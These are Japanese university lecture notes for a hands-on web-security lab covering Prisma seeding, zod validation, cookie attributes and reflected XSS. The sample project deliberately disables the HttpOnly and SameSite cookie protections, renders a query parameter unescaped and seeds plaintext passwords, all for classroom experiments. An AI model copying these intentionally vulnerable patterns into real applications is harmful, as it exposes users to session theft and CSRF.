2025-4I 知能情報実験実習2 (前期) 講義資料

毎週金曜日 1-4時限

1 準備

このテキストは、知能情報実験実習2 (前期) の「B班」の第5週目・07月18日 (金) の内容に関するものです。

こちら のリポジトリのプロジェクト web-sec-playground-1 を利用して、今週と来週で「ウェブアプリのセキュリティ」について体験的・実践的に学んでいきます。

具体的には、次のような内容について学びます (次週に扱う内容も含んでいます) 。

昨年度のプログラミング3ではSupabaseが提供する「ユーザ認証機能」を利用してウェブアプリを開発しましたが、ここではセキュティに対する理解を深めるために ゼロからユーザ認証機を実装 していきます。

1.1 演習 30分

リポジトリをクローンして README.md に示す手順でプロジェクトをセットアップしてください。

そして、実際にアプリの起動と操作、プログラムの読解を通じてウェブアプリの「全体概要」を把握 (=フォルダ構成やプログラム内容をざっくりと把握) してください。この際、AIも活用してください。機能等の詳細な解説については、このあとで行ないますが、まずは自分自身で理解に努め、疑問点や不明点を整理して明確化しておくこと が効果的な学びにつながります。実際の開発においても「自分でコードを書くこと」よりも 「他人が書いたコードやAIが提案したコードを読解・評価すること」 のほうが圧倒的に多いです。

(プロンプト例)

実際のソフトウェア開発では「自分でコードを書くこと (=コーディング)」よりも、「他人が書いたコードあるいはAIが提案したコードを読解・評価すること (=コードリーディング)」のほうが圧倒的に多い、と聞きました。本当ですか?

基本的には、昨年度のプログラミング3で学んだことが定着していれば、概ね理解できる内容となっています。

以下の順序でプログラムや機能を理解・把握していくことを推奨します。ただし、あくまで目安であり、実際には 各ファイルを何度も往復しながら全体像を掴んでいく必要 があります。また、以下に示されている以外のファイルも必要に応じて参照 していく必要があります。

  1. データベース
    • prisma/schema.prisma
    • prisma/seed.ts
  2. ニュース http://localhost:3000/news
    • src/app/news/page.tsx
    • src/app/api/news/route.ts
    • src/app/_types/ApiResponse.ts
  3. ショップ http://localhost:3000/shop
    • src/app/shop/page.tsx
    • src/app/_types/Product.ts
    • src/app/api/products/route.ts
    • src/app/_types/CartItrem.ts
    • src/app/api/cart/route.ts
  4. ログイン http://localhost:3000/login
    • 主に次週に扱う内容なので余裕があれば…
  5. サインアップ http://localhost:3000/signup
    • 主に次週に扱う内容なので余裕があれば…

なお、機能や設定を確認・把握するためにプログラムや設定を書き換える場合は、新たにブランチを切って、そのブランチでファイルを編集するようにしてください。以降の説明 (特に行番号) との不整合が生じるので、main ブランチには手を加えないでください。

▼ ブランチの新規作成と切り替え ▼

git checkout -b sandbox
git commit --allow-empty -m "Start sandbox branch"

なお、ブランチはGitHub入門(S.Aさんが作成👍) で非常に分かりやすく&丁寧に解説されています。

また npx prisma studio で「Prisma Studio」を起動し、DB の内容についても簡単に把握しておいてください。

ブランチの切り替え

演習が終わったあとは、以下の手順で main ブランチに戻っておいてください。

git commit -m "Finish sandbox branch" 
git checkout main  # mainブランチに戻る
git branch -D sandbox  # sandboxブランチの削除(必要に応じて)
npx prisma db seed

main がチェックアウトされていること (アクティブなブランチになっていること) を確認してください。

img

なお、ファイルを保存・コミットせずに main ブランチに切り替えると、作業中の変更がそのまま mainブランチに持ち越されることがあるので注意してください。

また、DBの内容についても、以下のコマンで初期状態に戻しておいてください。

npx prisma db seed

2 データベースについて

このプロジェクトでは npx prisma db seed というコマンドを使って、データベースのレコードをクリアした上で、定義済みの初期データを投入 できるようにしています。このような処理は、一般に「シーディング (Seeding)」や「シード処理」「初期データ投入」と呼ばれます。

なお、npx prisma db seed は、npx prisma db pushnpx prisma generate のように Prisma が標準で提供しているコマンド (ビルトインコマンド) ではなく、以下のように 開発者が自分でスクリプトを用意し、設定することで使用可能になるカスタムコマンド となっています。

具体的には package.json を変更して、prisma/seed.ts を作成する必要があります。

2.1 作業準備

ここからは week-5 というブランチを新規作成して、そこで作業を行なってください。

git checkout main # mainブランチであることを確認
git checkout -b week-5 # week-5ブランチを作成・切替
git commit --allow-empty -m "Start week-5 branch"

2.2 package.json の変更 (スクリプトの追加)

プロジェクトフォルダのルートにある package.json に、次のような設定を追加します。クローンしてきたプロジェクトでは既に設定を追加済みなので、確認だけしてください。

package.json の役割や、次のスクリプトのなかで使用している ts-node については、プログラミング3の授業のなかで既に解説済みです。

"prisma": {
  "seed": "ts-node --compiler-options {\"module\":\"CommonJS\"} prisma/seed.ts"
},

上記のスクリプトを加えることで、VSCode のターミナル (Ctrl+Jで起動) から npx prisma db seed というコマンドを実行したときに prisma/seed.ts単体で実行されるようになります。

(プロンプト例)

Next.js 15 / TypeScript / Prisma でウェブアプリ開発をしています。いま package.json に以下の内容を追加するように指示されました。このようなスクリプトを設定する目的と、実行したときの動作について解説してください。

"prisma": {
 "seed": "ts-node --compiler-options {\"module\":\"CommonJS\"} prisma/seed.ts"
},

2.3 seed.ts の作成

データベースの「レコードのクリア処理」と「初期データの挿入処理」を prisma/seed.ts というファイルを新規作成して記述します。

このとき、seed.ts を配置する場所には注意してください。このファイルを src フォルダ内に置いてしまうとnpm run devnpm run build を実行したときに、seed.ts もビルド対象として処理されてしまう可能性 があります。プロダクトのなかに「データベースの初期化処理」が含まれることは、セキュリティ上の重大なリスク となるので十分に注意してください。

要注意 seed.ts のインポート設定について

seed.ts のなかで使用する 自作のモジュール (型定義など) は、必ず 相対パス で指定してインポートしてください。インポートにパスエイリアス(例:@/app/_types/UserSeed のような記述)を使用すると、npx prisma db seed コマンドの実行時にエラーが発生します。

2.4 演習

prisma/seed.ts のインポート設定を次のように書き換えると、npx prisma db seed に「失敗すること」を確認してください。確認後は、元に戻しておいてください。

import { UserSeed, userSeedSchema } from "@/app/_types/UserSeed"; // パスエイリアスを使用

なお、上記でインポートされる UserSeed.ts のなかのインポート設定についても「相対パス」で指定する必要があります。実際に、UserSeed.ts第07行目 を以下のように書き換えると npx prisma db seed に失敗することを確認してください。

} from "@/app/_types/CommonSchemas"; // パスエイリアを使用

確認後は、元に戻しておいてください。

2.5 演習

prisma/seed.ts を編集して、newsItemproductsuser について「初期データ」をいくつか追加してみてください。

prisma/seed.ts の編集後は npx prisma db seednpx prisma studio を実行して 編集を加えた初期データが DB に反映されていること を確認してください。

3 zod を利用した「バリデーション」と「型定義」について

シーディング処理に使用する seed.ts や、それに関連する型定義ファイル (UserSeed.ts など) では、zod (ゾッド) という バリデーションライブラリ を積極的に使って 入力データの整合性を厳密に検証する設計 で実装されています。

zodは、TypeScriptにおいて「バリデーション(入力値検証)の定義」と「型定義」を同時に記述することができるライブラリとなっています。TypeScriptでは、変数やオブジェクトに対して「数値型(number型)」や「文字列型(string型)」などの基本的な「型づけ」は可能となっていますが、「0以上100以下の整数値」や「5文字以上20文字以下の文字列」 のような細かな制約条件については 開発者が独自にバリデーションロジック (入力値の検証ロジック) を実装する必要 があります。

ウェブアプリにおけるバリデーション処理 (入力値検証処理) の重要性

ウェブアプリ開発においては、特に「テキストボックスなどを使ったユーザからの入力データ」と「HTTPリクエスト/レスポンスのボディデータ」に関して、セキュリティ上の観点から 「悪意ある値」や「不正な値」である可能性も十分に予見して安全に取り扱うこと が求められます。

このような場面において、バリデーション (入力値検証) の処理が重要となってきます。

バリデーション処理は、自分でロジックを書くこともできますが、zod を利用すれば複雑な処理も極めて簡潔に記述することができます。さらに zod では、スキーマ (= 入力データが満たすべき制約条件や構造を定義したもの) から自動的に「TypeScriptの型定義」を生成する機能も利用可能となっています。

import { z } from "zod"; // zodライブラリのインポート

// バリデーションスキーマ(データが満たすべき制約条件や構造を定義)
export const cartItemSchema = z.object({
  productId: z.string().min(1).max(10), // 1文字以上10文字以下の「文字列」
  quantity: z.number().int().min(0), // 0以上の「整数値」
});

// バリデーションスキーマをもとに「CartItem型」を生成
export type CartItem = z.infer<typeof cartItemSchema>;

また、zod はクライアントサイド (フロントエンド) において、フォーム入力 (= react-hook-formuseForm) とも 連携して強力なバリデーション機能を提供してくれます

(プロンプト例)

Next.js (TypeScript) でウェブアプリを開発しています。「react-hook-form」の「useForm」とは何ですか?これを使わずにフォーム入力を実装するのと、使って実装するのでは、どのような違いがありますか?具体的なシナリオを例に分かりやすく説明してください。

以下は、react-hook-formzod を組み合わせて作成した入力フォーム (src/app/login.tsx ) の例です。このプロジェクトにおいては、ログイン機能 (/login) や サインイン機能 (/signup) のなかで利用しています。

zod

zod を積極活用することで「煩雑」かつ「コードの可読性を低下させる原因」となるバリデーション処理を 簡潔かつ確実に実装すること が可能になります。Next.js / React / TypeScript の実際の開発現場においてもバリデーションライブラリとして zod は、かなり使用されています。

(プロンプト例)

TypeScript による Next.js / React のウェブアプリの開発現場で、バリデーションライブラリとして「zodがよく使われている」って聞いたんだけどホント?

(プロンプト例)

Next.js / TypeScript でウェブアプリ開発をしています。データのバリデーションを実施すべきなのは、どのようなタイミングや場面ですか。クライアントサイド (フロントエンド)、サーバサイド (バックエンド) のそれぞれについて教えてください。

3.1 バリデーションスキーマの定義と型の自動生成

このプロジェクトでは、prisma/seed.ts のシーディング処理についても、zod による型生成やバリデーションを活用しています。

まず、src/app/_types/CommonSchemas.ts のなかで UserSeed.ts や、認証機能などに使用する型定義ファイル (LoginRequest.tsUserProfile.ts など) で共通利用する バリデーションスキーマ (=入力データが満たすべき制約条件や構造を定義したもの) を以下のように記述しています。

import { z } from "zod";
import { Role } from "./Role";

export const passwordSchema = z.string().min(5);
export const emailSchema = z.string().email();
export const userNameSchema = z.string().min(1);
export const roleSchema = z.nativeEnum(Role);

// prettier-ignore
export const isUUID = (value: string) => /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(value);

export const uuidSchema = z.string().refine(isUUID, {
  message: "Invalid UUID format.",
});

// 以下略

CommonSchemas.ts第10行目 から 第14行目 では、「正規表現」を使用してUUIDの形式 ( 16進数による 00000000-0000-0000-0000-000000000000 形式) をチェックするカスタムバリデーションスキーマを定義しています。なお、正規表現はプログラミング1で既に学習済みです。

次に、UserSeed.ts において、それらのバリデーションスキーマを利用して userSeedSchema を定義し、第16行目 では z.infer<typeof userSeedSchema> により「UserSeed型」を自動生成しています。

import { z } from "zod";
import {
  userNameSchema,
  emailSchema,
  passwordSchema,
  roleSchema,
  aboutSlugSchema,
  aboutContentSchema,
} from "./CommonSchemas";

export const userSeedSchema = z.object({
  name: userNameSchema,
  email: emailSchema,
  password: passwordSchema,
  role: roleSchema,
  aboutSlug: aboutSlugSchema.optional(),
  aboutContent: aboutContentSchema.optional(),
});

export type UserSeed = z.infer<typeof userSeedSchema>;

なお、ここではオブジェクトの各プロパティ (nameemail) に対して独立したバリデーションスキーマを設定していますが、zod では複数のプロパティを参照する複合的なバリデーション (クロスフィールドバリデーション) や、条件分岐をともうな複雑なバリデーションも可能になっています。

例えば、オブジェクトのなかの password」と「confirmPassword」の一致 を検証するようなバリデーションも設定可能です。

(プロンプト例)

バリデーションライブラリである「zod」では、オブジェクトを構成する複数のプロパティを参照した複合的なバリデーションや、条件分岐による複雑なバリデーションも可能であると聞きました。具体的にどのようなバリデーションが可能なのか、コードと解説を示してください。

3.2 データのバリデーション処理

prisma/seed.ts では、以下に示すように、

  1. テスト用のユーザの種となる userSeeds を作成 (第09行目~) して、
  2. zod によるバリデーションで データ形式や制約条件を満たしていることを確認 (第44行目~) したうえで、
  3. DBにデータを投入 (第70行目から第78行目)

… しています。

async function main() {
  console.log("Seeding database...");

  // テスト用のユーザ情報の「種」となる userSeeds を作成
    const userSeeds: UserSeed[] = [
    {
      name: "高負荷 耐子",
      password: "password1111",
      email: "admin01@example.com",
      role: Role.ADMIN,
    },
    {
      name: "不具合 直志",
      password: "password2222",
      email: "admin02@example.com",
      role: Role.ADMIN,
    },
  // userSeedSchema を使って UserSeeds のバリデーション
  try {
    await Promise.all(
      userSeeds.map(async (userSeed, index) => {
        const result = userSeedSchema.safeParse(userSeed);
        if (result.success) return;
        console.error(
          `Validation error in record ${index}:\n${JSON.stringify(userSeed, null, 2)}`,
        );
        console.error("▲▲▲ Validation errors ▲▲▲");
        console.error(
          JSON.stringify(result.error.flatten().fieldErrors, null, 2),
        );
        throw new Error(`Validation failed at record ${index}`);
      }),
    );
  } catch (error) {
    throw error;
  }
// ユーザ(user)テーブルにテストデータを挿入
await prisma.user.createMany({
  data: userSeeds.map((userSeed) => ({
    id: uuid(),
    name: userSeed.name,
    password: userSeed.password,
    role: userSeed.role,
    email: userSeed.email,
  })),
});

ここで、例えば 第17行目 の…

…を…

…のように 電子メールとして不正な値 に書き変えて npx prisma db seed を実行すると、以下のように例外が発生してシーディング処理が中断されます (=不正な値が DB に投入されることを未然に防いでくれます)。

Validation error in record 0:
{
  "name": "高負荷 耐子",
  "password": "password1111",
  "email": "hoge-fuga-piyo",
  "role": "ADMIN"
}
▲▲▲ Validation errors ▲▲▲
{
  "email": [
    "Invalid email"
  ]
}

なお、第45行目からは、例外処理に加えて Promise.all を利用した並列処理をしているので、やや複雑な処理になっています。バリデーションの本体である userSeedSchema.safeParse(userSeed) については、次のセクションでシンプルな例を用意して解説しています。そちらを参照してください。

「hoge」「fuga」「piyo」とは

いまさらですが hoge fuga piyo は、メタ構文変数 foo bar baz の日本バージョンです。

(プロンプト例)

プログラミング界隈で登場する foo bar baz とは何ですか。

3.3 データのバリデーション処理 (シンプルな例)

zod によるバリデーション処理について理解するためのコードを src/app/zod/page.tsx に配置しています。それを利用して safeParse() の使い方について理解してください。

ウェブアプリ実行時は http://localhost:3000/zod でアクセスできます。F12 で開発者ツールを開いて「コンソール」から検証処理(バリデーション処理)の結果について確認してください。

img

第28行目 において userSeedSchema.safeParse(...) によるバリデーションを実行しています。

const result = userSeedSchema.safeParse(unsafeUserSeed);

if (!result.success) {
  console.log("▼ Validation NG ▼");
  console.log(JSON.stringify(result.error.flatten().fieldErrors, null, 2));
}

const userSeed = result.data ?? null;
if (userSeed) {
  console.log("▼ Validation OK ▼");
  console.log(JSON.stringify(userSeed, null, 2));
}

3.4 演習

src/app/zod/page.tsx について、以下のことを確認してください。

バリデーションでは safeParse の他に parse が利用できます。safeParseparse の処理の違いについて調べて理解してください。parse のほうがシンプルで使いやすい場面も多いと思います。

(プロンプト例)

バリデーションライブラリ zod における parsesafeParse の違いについて丁寧に解説してください。また、それらのユースケース (使い分け) についても教えてください。

4 Cookie について

Cookie (クッキー🍪) とは、サーバとクライアント (ウェブブラウザ) の間で 状態 (ステート) を管理するために導入された仕組みになります。この状態管理技術は、1994年頃からウェブブラウザに導入されており、もともとは Netscape社 が開発した独自仕様でした。

まずはじめに「Cookie が必要となる理由 (=状態管理が必要となる理由)」について確認していきます。

もともと「ウェブ」と「HTTP (Hyper Text Transfer Protocol)」は、状態管理を想定しないシンプルな ステートレス(Stateless)なシステム として設計・開発されたものでした。ステートレスとは「以前の処理内容や通信の結果を内部状態として記憶せずに、各リクエストに対しては URI (URL) のみに基づいて独立してレスポンスを返す」というアーキテクチャのことです。

つまり、サーバは特定のURI (http://hoge-shop/cart) に対するリクエストがあったとき「誰からのリクエストであっても」「それが何度目のリクエストであっても」「それ以前に、その URI でどのような操作をしていても」、常に同じレスポンスを返す というのが、本来のウェブとしてステートレスな動作となります。

初期のインターネットにおいては、このステートレスなアーキテクチャで十分な機能を提供できていました。しかし、インターネットの普及とともに ステートレスな設計だけでは実現困難なシステム (例えば「オンラインショッピング」のようなウェブサービス) に対する需要が急速に高まってきました。つまり…

…といった「ステートフル」なシステムの実現に対する需要がでてきました。

そのようななかで、HTTP のステートレスな基本特性を維持しつつ、アプリケーションレベルで ステートフルな動作 を可能にする仕組みとして考案・導入されたものが「Cookie」となります。

(プロンプト例)

授業で「ウェブはステートレスなアーキテクチャである」と聞きました。意味が分かりません。そもそもアーキテクチャって何ですか?

Cookie の「基本的な仕組み」は、次のようになります。

  1. 【クライアント】: サーバ(例:http://hoge.com/)に対して HTTP リクエスト を送信する。
  2. 【サーバ】: クライアントに対して Set-Cookie: session_id=12345; のようなヘッダを含む HTTP レスポンス を返す。
  3. 【クライアント】: サーバからのレスポンスに Set-Cookie があれば、ドメイン(hoge.com)に紐付けて Cookie(session_id=12345)をブラウザに保存する。
  4. 【クライアント】: 以後、そのドメインに対してリクエストを送信するときは、自動的にヘッダに Cookie: session_id=12345 を付与する。
  5. 【サーバ】: リクエストのヘッダから Cookie (session_id=12345) を読み取り、その内容に応じて処理を分岐してレスポンスを返す。

このように Cookie🍪 は「サーバがレスポンスで Cookie を発行する」👉「クライアントがその後のリクエストに自動的にCookieを含める」という仕組みで、本来はステートレスなHTTPプロトコルにおいて「状態管理」や「ユーザ識別」を可能にしています。

サーバからの HTTPレスポンス のなかの Set-Cookie フィールドは、ブラウザのデベロッパツールの「ネットワーク」のツールを使って確認することができます。以下は http://localhost:3000/api/cart にアクセスしたときのレスポンスの観測です。

img

上記では cart_session_id=947012da... につづけて、いくつかの属性情報 (PathExpiresMax-AgeSameSite など) が付加されていることに着目してください。属性については、後ほど解説します。

同様に HTTPリクエスト のなかの Cookie フィールドも、以下のように確認することができます。先ほど、Set-Cookie で受け取った cart_session_id=947012da-3995-4071-8bfe-c4afaa923756 を送信していることに着目してください。

img

安全なウェブアプリを開発するにあたり、Cookie について のなかの以下のことを把握しておいてください。

(プロンプト例)

サードパーティクッキーとは何ですか。

(プロンプト例)

サードパーティクッキーを利用した「リターゲティング広告」の仕組みについて教えてください。

4.3.1 デベロッパツールからクッキーを確認 (http://localhost:3000/news)

ブラウザのデベロッパツール (F12で起動) から、ブラウザ内部に保存されている Cookie の内容を確認することができます。

img

以下の「削除アイコン」をクリックすることで「ユーザ操作により Cookie が削除できること」を確認してください。削除後、再びサイトにアクセスすると (レスポンスの Set-Cookie により) Cookie が再設定されることも確認してください。

img

また、Cookie の各フィールドをダブルクリックして「値の編集ができること」も確認してください (ユーザによって「Cookieの偽装ができること」も確認してください)。

ショップ (=http://localhost:3000/shop) に関連する ウェブAPI (http://localhost:3000/api/cart) の「GET Method」では、HTTPリクエストのヘッダに Cookie フィールドが存在しないときは、Cookie を新規発行しています。また、cart_session_id という Cookie フィールドがあれば、その値を使って DBから「カート情報」取得して、それをレスポンスしています (同時に Cookie の有効期限の延長も行なっています)。

src/app/api/cart/route.ts を参照して、ざっくりと処理を追ってみてください (詳しいことは後から確認していきます)。

import { cookies } from "next/headers";
const cKey = "cart_session_id";
cookieStore.set(cKey, id, {
  path: "/",
  maxAge: sessionMaxAge,
  // httpOnly: true, // 💀 コメントアウトするとXSS攻撃で窃取される可能性あり
  sameSite: "strict", // 💀 "none" にするとCSRF脆弱性
  secure: false,
});

上記の 第20行目から第24行目について、それぞれの Cookie属性 の意味を十分に理解して適切に設定しないと、重大なセキュリティリスクとなるので注意してください。ただし、ここでは後で「XSS脆弱性」に関する実験をするために、属性設定はこのままにしておいてください。

ニュース (=http://localhost:3000/news) では js-cookie というライブラリを使って クライアントサイドJavaScript プログラムを使って Cookie の「読取り」と「書込み」 をしています。サーバサイドとは異なる方法で Cookie を設定していることに注意してください。

src/app/news/page.tsx を参照して、ざっくりと処理を追ってみてください。

import Cookies from "js-cookie";

👆 Next.js のライブラリではないので npm i js-cookie コマンドでインストールする必要があります (プロジェクトをクローンしてきている場合は、最初の npm i でインストールされています)。

const regionStr = Cookies.get("region");

👆 もし region という名前のCookie が存在しない場合、regionStrundefined になります。

// Cookie をセットする関数の定義
const setSessionCookie = useCallback((region: Region) => {
  Cookies.set("region", region, {
    expires: 7, // 有効期限(7日間)
    // path: "/api/news", // 💀 省略すると "/" が設定される
    // sameSite: "strict", // 💀 適切に設定しないとCSRF脆弱性が生じる
    secure: false, // 💀 本番環境(HTTPS)では true にすべき
  });
  // 👆 セキュアに利用する観点から各設定の意味を調べてみてください
}, []);

各属性の意味を理解して適切に設定しないと、重大なセキュリティリスクとなるので注意してください。

個々の Cookie には、次のような「属性」を設定することができます。

4.4.1 Expires属性

有効期限に関する設定です。期限を過ぎるとブラウザによって自動削除されます。特に設定しなければ「セッションCookie」となり、ブラウザを閉じると削除されます。

4.4.2 HttpOnly属性

この属性が設定されている Cookie は JavaScript から値を読み込むことができなく なります。XSS攻撃 によるセッションハイジャックを防ぐセキュリティ対策として「超重要」な設定となってきます。

(プロンプト例)

Cookie に「HttpOnly属性」をつけないと「XSS攻撃によるセッションハイジャックが云々…」とか言われたのですが意味不明です🫠。分かりやすく解説してください。

4.4.3 Secure属性

この属性が設定されている Cookie は、HTTPS 通信のときだけ送信されるようになります。HTTP (≠HTTPS) による非暗号化通信で Cookie が漏洩 (盗聴) することを防ぐために使用します。

4.4.4 SameSite属性

CSRF攻撃を防ぐための重要な属性です。次の3つの値を設定できます。

(プロンプト例)

Cookie の「SameSite属性」の strict と lax の違いが分かりません。strict にすると「ログインの UX が云々・・・」とか言われたのですが意味不明です🫠。具体例で解説してください。

4.4.5 適切なCookie属性の設定

Cookie の属性を適切に設定することで、セキュリティを向上させつつ、ユーザビリティを保った Cookie の運用が可能になります。なお、上記以外にも PathMax-Age などの Cookie の属性が存在します。それらについて、ウェブや生成AIを使って概要を把握しておいてください。

(プロンプト例)

Cookie の「Max-Age属性」と「Expires属性」の違いについて教えてください。また、どのように使い分けますか。

Cookie の「SameSite属性」と「CSRF攻撃」の関係が分かりません🫠。そもそも「CSRF攻撃とは何か?」から教えてください。

ブラウザのデベロッパーツールの「コンソール」からは、JavaScriptコードを対話的に実行すること ができます。例えば、コンソールに document.cookie と入力すれば、現在表示しているウェブサイト (ドメイン) のなかで HttpOnly属性 が設定されていない Cookie の値を取得することができます。

img

視点を変えれば、第3者👿によって、そのウェブサイトに悪意あるJavaScriptコード (document.cookieの戻り値を外部送信するようなコード) が埋め込まれた場合、HttpOnly属性 がついていない Cookie が窃取される可能性があるということになります。

(プロンプト例)

Cookie が窃取されたからって何か困ることがあるのですか?セッションIDなんて単なる数字の羅列でしょ?セッションID の Cookie にHttpOnly属性を付け忘れてたら、先輩が激おこ😡💢なんですが…

5 「ニュース」のコンテンツ

このコンテンツは region という Cookie に設定された値 (OSAKATOKYO など) に応じて、表示されるニュースが変わるようになっています。

5.1 クライアントサイド (フロントエンド) の処理

このページにアクセスすると、クライアントサイド (フロントエンド側) で、Cookie のなかに region が存在するかをチェックして、存在しない場合は初期値として OSAKA を設定します。

useEffect(() => {
  const regionStr = Cookies.get("region");
  // Cookieが存在しない もしくはデタラメな値の場合は OSAKA をセットする
  if (!regionStr || !Object.values(Region).includes(regionStr as Region)) {
    setSessionCookie(Region.OSAKA);
    return;
  }
  setRegion(regionStr as Region); // Cookieから取得した地域をセット
}, []);

上記の 第47行目 で呼び出している setSessionCookie は、以下のような自作関数になっています。以降の脆弱性実験のために、あえて pathsameSite をコメントアウトしています。

// Cookie をセットする関数の定義
const setSessionCookie = useCallback((region: Region) => {
  Cookies.set("region", region, {
    expires: 7, // 有効期限(7日間)
    // path: "/api/news", // 💀 省略すると "/" が設定される
    // sameSite: "strict", // 💀 適切に設定しないとCSRF脆弱性が生じる
    secure: false, // 💀 本番環境(HTTPS)では true にすべき
  });
  // 👆 セキュアに利用する観点から各設定の意味を調べてみてください
}, []);

ブラウザを閉じても Cookie には値が残るので (有効期限が7日間に設定されているので)、再度 /news にアクセスしたときには 最後に表示していた地域のニュースが表示 されるようになっています。

Chrome において Cookie の管理はプロファイル単位

Chrome では「Cookie はプロファイル毎に管理されている」ため、あるプロファイルで起動した Chrome で地域を「沖縄」に設定して region=OKINAWA が Cookie に設定されていても、別のプロファイルで起動した Chrome で /news にアクセスすれば初期値の「大阪」が表示されます。

地域毎の「ニュース記事」は、useState で生成したステート変数の region の変更をトリガーに /api/news に対する fetch を実行することで取得しています。以下の 第61行目 ように fetch のオプションに credentials: "include" を設定することで、JavaScript から HTTPリクエストを送るときにも Cookie が付与されるようになります。

useEffect(() => {
  const fetchNews = async () => {
    try {
      setIsLoading(true);
      const res = await fetch(ep, {
        method: "GET",
        credentials: "include", // Cookieも送信
        cache: "no-store",
      });
      const data: ApiResponse<NewsItem[]> = await res.json();
      if (data.success) {
        setNewsItems(data.payload);
      } else {
        console.error(data.message);
      }
    } catch (e) {
      console.error("ニュース記事取得失敗", e);
    } finally {
      setIsLoading(false);
    }
  };
  fetchNews();
}, [region]);

5.1.1 演習

第61行目credentials: "omit", (=Cookieを送信しない設定) に変えるとドロップダウンリストから地域を変更しても、常に大阪の記事しか取得できなくなることを確認してください。

5.2 サーバサイド (バックエンド) の処理

ウェブAPI /api/news にアクセスがあったときの処理は src/app/news/route.ts に記述されています。サーバサイドでは、Cookie の値 (region=XXXXX) に応じて DB からのデータ取得条件を変えています。

import { cookies } from "next/headers";
// リクエストに含まれるクッキー region の値を regionStr に取得
const cookieStore = await cookies();
const regionStr = cookieStore.get(cKey)?.value ?? Region.OSAKA;

// 文字列を列挙子 Region.XXXX に変換(不正な文字列は Region.OSAKA にする)
const region = Object.values(Region).includes(regionStr as Region)
  ? (regionStr as Region)
  : Region.OSAKA;

// DBから記事を全件取得。実設計では take/skip でページネーションすべき
const newsItems: NewsItem[] = await prisma.newsItem.findMany({
  where: { region }, // 検索条件
  orderBy: { publishedAt: "desc" },
});

5.3 SWR について

SWR (Stale-While-Revalidate) は、データ取得をより効率的・快適に行うための React / Next.js 向けライブラリです。useStateuseEffect を使って記述していたデータ取得 (fetch) の処理を、より高機能かつシンプルに記述することができます。特に、キャッシュにある直近のデータ (stale) を即座に表示しつつ、裏側で最新のデータを取得 (revalidate) する戦略 によって、UX の向上が期待できます。

5.3.1 SWR を使用しない実装

src/app/news/page.tsx のなかで、第53行目から第77行目にかけての処理 (useStateuseEffect のフェッチ処理) は…

// 初回 と region変更のタイミングでニュース記事を取得【基本的な実装】
const [isLoading, setIsLoading] = useState(true);
useEffect(() => {
  const fetchNews = async () => {
    try {
      setIsLoading(true);
      const res = await fetch(ep, {
        method: "GET",
        credentials: "include", // Cookieも送信
        cache: "no-store",
      });
      const data: ApiResponse<NewsItem[]> = await res.json();
      if (data.success) {
        setNewsItems(data.payload);
      } else {
        console.error(data.message);
      }
    } catch (e) {
      console.error("ニュース記事取得失敗", e);
    } finally {
      setIsLoading(false);
    }
  };
  fetchNews();
}, [region]);

5.3.2 SWR を使用した実装

現状ではコメントアウトされている 第79行目から第99行目 にかけての useSWR を使った処理に置き換えることができます。

//【💡SWRを利用した実装】
const fetcher = useCallback(async (endPoint: string) => {
  const res = await fetch(endPoint, {
    credentials: "same-origin",
    cache: "no-store",
  });
  return res.json();
}, []);

const { data: news, isLoading } = useSWR<ApiResponse<NewsItem[]>>(
  ep,
  fetcher,
);

useEffect(() => {
  if (news && news.success) setNewsItems(news.payload);
}, [news]);

useEffect(() => {
  mutate(ep); // 再検証(キャッシュ無効化して再取得)
}, [region]);

第97行目 から 第99行目 では、region が変わった際にキャッシュを明示的に破棄し、最新のデータ取得を強制する処理をしています。mutate(ep) は、引数 ep (実体は /api/news) から最新データを取得する命令になります。

(プロンプト例)

Next.js で、useState と useEffect を組み合わせて api からデータをフェッチしてくる処理を書いていたのですが、先輩からコードレビューで「useSWR を使ったほうがいいよ!」と言われました。SWR とか聞いたことがないのですが、使っている人はいるのでしょうか?マニアックな先輩しか使わないようなマイナーなライブラリなら手を出したくないのですが…😅

Next.js の useSWR の mutate って関数の使いどころが分かりません。ウェブAPIからデータを再フェッチ(手動で強制更新)したいときに使うのですか?

5.3.3 演習

第54行目から第77行目 をコメントアウトして、 第80行目から第99行目 のコメントアウトを解除してください。その後、/news が同様に機能することを確認してください。

また、useSWR を使った方がわずかに UX が向上していることを確認してください (ニュースからトップページに移動して、その後、再びニュースに戻ったときの記事が表示されるまでの時間が短くなっているはずです)。

6 「ショップ」のコンテンツ

ショップ (http://localhost:3000/shop)は Cookie を利用してショッピングカート内の商品保持する機能 を持ったサンプルです。AIの支援を受けながら、以下のコードを読解してください。

「ニュース」では クライアントサイドで Cookie を発行 していましたが、「ショップ」では サーバサイド (src/app/cart/route.ts) で Cookie を発行しています。なお、Cookieの属性設定に不適切なものがありますが、次の「XSS脆弱性」のセクションに関係するものなので、そのままにしておいてください。

7 XSS脆弱性

XSS (Cross-Site Scripting: クロスサイトスクリプティング) は、ウェブページのなかに、外部から 悪意のあるJavaScriptコード を埋め込むことで、ユーザのウェブブラウザ上で「意図しない処理 (JavaScriptプログラム) を強制実行させる脆弱性」です。

例えば、掲示板やコメント欄などに <script>alert("XSS")</script> のような「HTMLタグ」が投稿されたとき、それがサーバサイドで、適切に サニタイズ (無害化) やエスケープ処理がされないままに そのまま「HTML」としてブラウザに出力 されると、他の閲覧者のブラウザ上でそのスクリプト (<script>alert("XSS")</script>) が実行されてしまいます。

実行される JavaScriptコード が単にアラートを表示する程度のものであれば大した問題ではありません。しかし、強制実行される JavaScriptコード が「Cookie情報の窃取」や「別のサイト (フィッシングサイト) へのリダイレクト」、さらには「ユーザの意図しない操作 (XX予告の投稿操作やアカウント削除操作)」といった場合があり、これは非常に大きな問題となります。

(プロンプト例)

ウェブアプリ開発およびXSS脆弱性の文脈で「サニタイズ処理」と「エスケープ処理」とはなんですか。また、それらの違いについて教えてください。

7.1 実は「ニュース」には反射型XSSの潜在的リスクがある

ニュース (src/app/news/page.tsx) ですが、実は http://localhost:3000/news?name=寝屋川タヌキ のような クエリパラメータ(name) を受け付ける仕様となっています。

そして、そのクエリパラメータを無害化処理やエスケープ処理することなく画面に出力する実装 となっています。これは「反射型XSS (Reflected XSS)」と呼ばれるタイプの脆弱性を持った超NGな実装となります。

img

上記の例のように name=寝屋川タヌキ をクエリパラメータとして与える分には特段の問題は生じません。しかし、name=【JavaScriptプログラム】 が与えられるたとき非常に危険な動作をします。

(プロンプト例)

URLのクエリパラメータにJSを仕込むようなのが反射型XSSであると聞きました。それ以外にもXSSにタイプがあるのですか?

7.2 クエリパラメータの処理

まずは src/app/news/page.tsx のなかでクエリパラメータが、どのように処理されているかを確認しています。

